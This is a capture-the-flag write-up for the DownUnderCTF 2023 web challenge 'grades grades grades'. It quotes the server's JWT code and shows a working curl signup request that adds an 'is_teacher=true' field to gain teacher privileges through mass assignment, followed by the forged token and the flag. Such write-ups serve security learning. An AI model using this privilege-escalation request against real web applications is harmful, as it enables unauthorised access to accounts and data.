DownUnderCTF 2023 - grades grades grades
grades grades grades 158pts web
We are presented with a web page for teacher/student interaction students are able to see their marks, teaches can grade assignments. So I think the goal here is to get the teacher role.
We can signup to get JWT saved in a cookie.
When signing up normally we see that we do not have a teacher role https://web-grades-grades-grades-c4627b227382.2023.ductf.dev/grades
yet…
Looking at the code a bit the following two functions look interesting
def requires_teacher(f):
@wraps(f)
def decorated(*args, **kwargs):
token = request.cookies.get('auth_token')
if not token:
return jsonify({'message': 'Token is missing'}), 401
try:
data = decode_token(token)
if data is None or data.get("is_teacher") is None:
return jsonify({'message': 'Invalid token'}), 401
if data['is_teacher']:
request.user_data = data
else:
return jsonify({'message': 'Invalid token'}), 401
except jwt.DecodeError:
return jsonify({'message': 'Invalid token'}), 401
return f(*args, **kwargs)
return decorated
def create_token(data):
token = jwt.encode(data, SECRET_KEY, algorithm='HS256')
return token
Seems like the data used to create the JWT is not validated at all. Could we just supply is_teacher
when signing up to get elevated priviledges JWT?
curl -L -c /tmp/cookies.txt 'https://web-grades-grades-grades-c4627b227382.2023.ductf.dev/signup' \
-H 'authority: web-grades-grades-grades-c4627b227382.2023.ductf.dev' \
-H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
-H 'accept-language: en-US,en;q=0.9,cs-CZ;q=0.8,cs;q=0.7' \
-H 'cache-control: max-age=0' \
-H 'content-type: application/x-www-form-urlencoded' \
-H 'dnt: 1' \
-H 'origin: https://web-grades-grades-grades-c4627b227382.2023.ductf.dev' \
-H 'referer: https://web-grades-grades-grades-c4627b227382.2023.ductf.dev/signup' \
-H 'sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"' \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "Windows"' \
-H 'sec-fetch-dest: document' \
-H 'sec-fetch-mode: navigate' \
-H 'sec-fetch-site: same-origin' \
-H 'sec-fetch-user: ?1' \
-H 'sec-gpc: 1' \
-H 'upgrade-insecure-requests: 1' \
-H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36' \
--data-raw 'stu_num=curaksad&stu_email=curak%40curaks.cz&password=curaks&is_teacher=true' \
--compressed
Lets grab the newly crafted JWT
cat /tmp/cookies.txt
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
#HttpOnly_web-grades-grades-grades-c4627b227382.2023.ductf.dev FALSE / FALSE 0 auth_token eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdHVfbnVtIjoiY3VyYWtzYWQiLCJzdHVfZW1haWwiOiJjdXJha0BjdXJha3MuY3oiLCJwYXNzd29yZCI6ImN1cmFrcyIsImlzX3RlYWNoZXIiOiJ0cnVlIn0.6FdfucpfZsYxxd8KSCcBbKibcQ9Gw9sEnhXJ-bB-ipU
Now we can try changing the JWT to this teacher token - it looks like it worked as we see the role being teacher now.
Accesing /grades_flag
presents us with a flag
SUBJECT GRADE
Flag DUCTF{Y0u_Kn0W_M4Ss_A5s1GnM3Nt_c890ne89c3}